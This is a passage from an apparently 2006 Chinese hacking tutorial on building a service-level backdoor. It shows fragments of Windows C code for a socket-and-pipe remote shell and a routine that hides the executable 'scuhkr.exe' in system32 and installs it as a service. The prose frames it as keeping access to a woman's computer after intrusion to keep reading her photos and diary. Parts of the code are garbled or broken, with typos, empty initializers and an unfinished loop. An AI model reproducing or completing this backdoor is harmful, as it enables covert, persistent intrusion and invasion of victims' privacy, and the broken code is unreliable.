服务级后门自己做
作者: 来源: 添加时间:2006-5-23 8:34:38if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0,
NULL, NULL, &startinfo, &processinfo) == 0)
{
printf ("CreateProcess Error!n");
return -1;
}
while (true)
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}
return 0;
}
//线程函数A, 通过管道A来从控制端接受输入,然后写入被控制端输入端
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);
varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,
recv_buff,
1024,
0);
printf("%sn", recv_buff);
WriteFile(hWriteFile,
recv_buff,
nByteToWrite,
&nByteWritten,
NULL);
}
return 0;
}
//线程函数B, 通过管道B来从被控制端接受输入,然后写到控制端输出端
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadFile,
&hWritePipe,
&pipeattr,
0);
varB = 1;
while (true)
return 0;
}
在我们成功入侵目标MM主机后,看了MM的照片,读了MM的日记……此处省略恶行30条。在拍屁股走人之前,怎么也要留个后门,方便下次继续看新的照片,继续读MM的小秘密(呵呵,大家不要误会,我从来不干这种事D)。那后门怎么留?我们上面写的都是主体部分,还没安装呢。安装服务的部分其实很简单,示例代码如下:
// InstallService.cpp
void main()
{
SC_HANDLE hSCManager = NULL, //服务控制管理器句柄
hService = NULL; //服务句柄
char szSysPath[MAX_PATH]=,
szExePath[MAX_PATH]=;//我们要把我们后台执行的程序放在这里,一般就是在admin$system32里,隐蔽性高
if ((hSCManager = OpenSCManager(NULL, //NULL表明是本地主机
NULL, // 要打开的服务控制管理数据库,默认为空
SC_MANAGER_CREATE_SERVICE//创建权限
))==NULL)
{
pirntf("OpenSCManager failedn");
return;
}
GetSystemDirectory(szSysPath, MAX_PATH); //获得系统目录,也就是system32里面,隐蔽起来
strcpy(szExePath, szSysPath);
strcat(szExePath, "scuhkr.exe"); //应用程序绝对路径
站内搜索